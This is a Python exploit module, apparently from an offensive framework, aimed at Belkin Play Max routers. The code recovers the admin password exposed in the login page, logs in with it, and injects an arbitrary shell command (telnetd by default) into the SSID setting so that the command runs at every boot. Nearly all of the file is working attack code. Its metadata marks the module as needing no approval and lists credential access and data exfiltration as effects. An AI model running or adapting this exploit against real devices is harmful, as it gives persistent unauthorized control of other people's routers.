Belkin Play Max Persistent RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Belkin Play Max Persistent RCE"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Belkin Play Max Persistent RCE',
'description': 'Module exploits Belkin SSID injection vuln, allowing to execute arbitrary command at every boot.',
'author': ['BigNerd95 (Lorenzo Santina) https://github.com/bignerd95'],
'platform': Platform.LINUX,
'references': ['https://bignerd95.blogspot.it/2017/02/belkin-play-max-persistent-remote.html', 'https://gist.github.com/BigNerd95/c18658b472ac0ccf4dbbc73fe988b683'],
'tags': ['iot', 'router', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
cmd = OptString("telnetd", "Command to execute")
def auth_bypass(self):
response = self.http_request(
method="GET",
path="/login.stm",
)
if response is None:
return False
val = re.findall(r'password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
payload = "pws=" + val[0] + "&arc_action=login&action=Submit"
login = self.http_request(
method="POST",
path="/login.cgi",
data=payload
)
if login is None:
return False
error = re.search('loginpserr.stm', login.text)
if not error:
print_success("Exploit success, you are now logged in!")
return True
print_error("Exploit failed. Device seems to be not vulnerable.")
return False
def inject_command(self):
response = self.http_request(
method="GET",
path="/wireless_id.stm",
)
if response is None:
print_error("Exploit failed. No response from target!")
return
srcSSID = re.search(r"document\.tF\['ssid'\]\.value=\"(.*)\";", response.text)
if srcSSID:
SSID = srcSSID.group(1)
else:
print_error("Exploit failed. Are you logged in?")
return
if len(SSID) + 2 + len(self.cmd) > 32:
newlen = 32 - len(self.cmd) - 2
SSID = SSID[0:newlen]
print_status("SSID too long, it will be truncated to: " + SSID)
newSSID = SSID + "%3B" + self.cmd + "%3B"
payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid=" + newSSID + "&arc_action=Apply+Changes&wchan=1&ssid=" + newSSID
response = self.http_request(
method="POST",
path="/apply.cgi",
data=payload,
)
if response is None:
print_error("Exploit failed. No response from target!")
return
err = re.search(r'countdown\(55\);', response.text)
if err:
print_success("Exploit success, wait until router reboot.")
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
def run(self):
if self.auth_bypass():
self.inject_command()
def check(self):
response = self.http_request(
method="GET",
path="/login.stm",
)
if response is None:
return False # target is not vulnerable
val = re.findall(r'password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
return True # target is vulnerable
return False # target is not vulnerable
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19 Aug 2026 05:37Current
6.7Medium risk
Vulners AI Score6.7